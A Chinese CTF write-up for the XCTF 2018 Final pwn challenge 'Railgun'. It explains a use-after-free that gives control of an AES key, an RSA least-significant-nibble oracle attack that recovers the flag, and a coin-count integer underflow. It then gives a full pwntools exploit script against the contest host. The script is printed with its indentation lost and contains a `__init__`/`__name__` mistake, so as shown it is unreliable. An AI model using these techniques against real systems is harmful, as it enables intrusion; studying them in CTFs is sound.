XCTF 2018 Final - Railgun Writeup


上周去北京打 XCTF-Final,被各位大哥打到自闭。第一天长者复读了一道攻防 pwn 题,我做另一个带密码学的攻防 pwn 题,看了下流量,回到宾馆后终于调了出来。题目质量还不错,感谢 JHSN 和 Cyrus 的帮助,以下是 Wp。

Railgun

You can get the binary from here

程序主要的逻辑是一个挖 coin 然后使用 railgun 发射 coin 来打 boss 的游戏。(强行睿智

程序初始化会将 flag+padding 用随机生成的 RSA 公钥加密。每一个 Boss 都是一个随机的 AES key,用一个 coin 打败 Boss 并再使用一个 coin 可以得到用 RSA 私钥解密用户输入并用 AES_ECB 加密 RSA 结果的最后半字节。 在这个过程中用户已知的变量有 n, e, pow(flag+padding, e, n)。

UAF

程序在功能 6 accelerator attack 中可以消耗 200 个 coin 直接击败 Boss9,这里存在一个 UAF。Boss9 在被 free 掉之后依然可以和正常的 Boss 一样被打败然后进行 AES_ECB 加密。

Bypass AES_ecb

利用 accelerator attack 中的 UAF,再利用 comment 功能,指定注释长度为 16 就可以 malloc 到之前 free 掉的 Boss9,这样就可以控制一个 AES key。

RSA LSB Oracle Attack

之后进入密码学时间

已知 n, e;

flagCipher = pow(flag+padding, e, n)

击杀 Boss 可以获得 AES_ecb(pow(input, d, n) % 16, Boss)

因为 Boss9 已经被控制了,所以相当于返回的是 pow(input, d, n) % 16

使用 RSA LSB Oracle Attack

假设攻击者已知 x 个最后半字节,设未知部分为 a,已知部分是 b,则有 \(f = a * 16^{x} + b\)

\(y = 16^{-x}\ \text{mod}\ n, Y = y^{e}\ \text{mod}\ n\)

输入 \(\text{flagCipher} * Y\), 则会返回 \(fy = a + b * 16^{-x}\ \text{mod}\ n\ \text{mod}\ 16\)

因为 \(b * 16^{-x}\ \text{mod}\ 16\) 已知,所以可以求出 \(a\ \text{mod}\ 16\)

Exploit

利用 UAF 控制 Boss9 的内容,然后用 RSA LSB Oracle Attack 逐半字节攻击出 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
import os
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES

pad = lambda x: x+(chr(16-len(x)) * (16-len(x)))

def aesecb_decrypt(enStr, key):
cipher = AES.new(key, AES.MODE_ECB)
enStr = pad(enStr)
return cipher.decrypt(enStr)

def ex_gcd(m, n):
x, y, x1, y1 = 0, 1, 1, 0
while m % n:
x, x1 = x1 - m // n * x, x
y, y1 = y1 - m // n * y, y
m, n = n, m % n
return n, x, y

def mod_inv(x, p):
g, y, k = ex_gcd(x, p)
if y < p:
y += p
return y

def pwn(p):
p.recvuntil('[+]PoW:')
sha256 = p.recvuntil('+', drop=True)
s = p.recvuntil('\n', drop=True).decode('hex')
for i in xrange(0x10000):
if hashlib.sha256(s + p16(i)).hexdigest() == sha256:
p.sendline(p16(i).encode('hex'))
break

p.recvuntil('[-]description:')
p.sendline('-')
p.recvuntil('[-]name:')
p.sendline('Kyr1os')

e = 0x10001
n1 = get_pub(p)
inv16 = mod_inv(16, n1)
flag_cipher = get_flag_cipher(p)

mining(p)
shoot(p, 1, '1'*256) # get 1 - 2 = 255 coins

p.recvuntil('[-]')
p.sendline('6') # accerate
for i in range(10): # for remote
comment(p, 18, '\x00'*18)
x = 0
Y = 1
b = 0
for round in range(200):
drop = shoot(p, 9, hex(flag_cipher * Y)[2:].upper())
half_byte = aesecb_decrypt(drop.decode('hex'), '\x00'*16)[0]
half_byte = (int(half_byte, 16)+16-((b * pow(inv16, x, n1)) % n1 % 16)) % 16
b += (half_byte * (16 ** x))
x += 1
y = pow(inv16, x, n1)
Y = pow(y, e, n1)
print hex(b)[2:].decode('hex') # flag

def mining(p):
p.recvuntil('[-]')
p.sendline('2')
p.recvuntil('mining:')
sha256 = p.recvuntil('+', drop=True)
s = p.recvuntil('\n', drop=True).decode('hex')
for i in xrange(0x10000):
if hashlib.sha256(s + p16(i)).hexdigest() == sha256:
p.sendline(p16(i).encode('hex'))
break

def get_pub(p):
p.recvuntil('[-]')
p.sendline('3')
p.recvuntil('pub:')
pub = p.recv(256)
return int(pub, 16)

def get_flag_cipher(p):
p.recvuntil('[-]')
p.sendline('4')
p.recvuntil('attack\n[+]')
flagc = p.recv(256)
return int(flagc, 16)

def shoot(p, boss_id, payload):
p.recvuntil('[-]')
p.sendline('5')
p.recvuntil('boss:')
p.sendline(str(boss_id))
p.recvuntil('send:')
p.sendline(payload)
p.recvuntil('coins(1/0):')
p.sendline('1')
p.recvuntil('pickup:')
cipher = p.recv(32)
return cipher

def comment(p, len, payload):
p.recvuntil('[-]')
p.sendline('7')
p.recvuntil('lenth:')
p.sendline(str(len))
p.recvuntil('comment:')
p.send(payload)

if __init__ == "__main__":
p = remote('192.168.17.12', 20002)
pwn(p)

Trick

  • 程序中存在一个检查不严格导致的整数下溢,当你拥有一个 coin 时对一个 Boss 连续使用两个 coins 可以使你的 coin 数下溢变成 255,并且只要你两个两个的用,硬币就永远都用不完。这个 trick 可以极大的加速你的攻击脚本。(毕竟是个攻防题
  • 在远端利用 UAF 时,由于环境因素,在执行 comment 中的 malloc 时,即使大小合适,也不一定能每次都拿到 Boss9 的那个块(虽然在本地测试的时候几乎每次都能通)。所以建议多 comment 几次来提高成功率。(连续申请十次的话基本每次都能通的)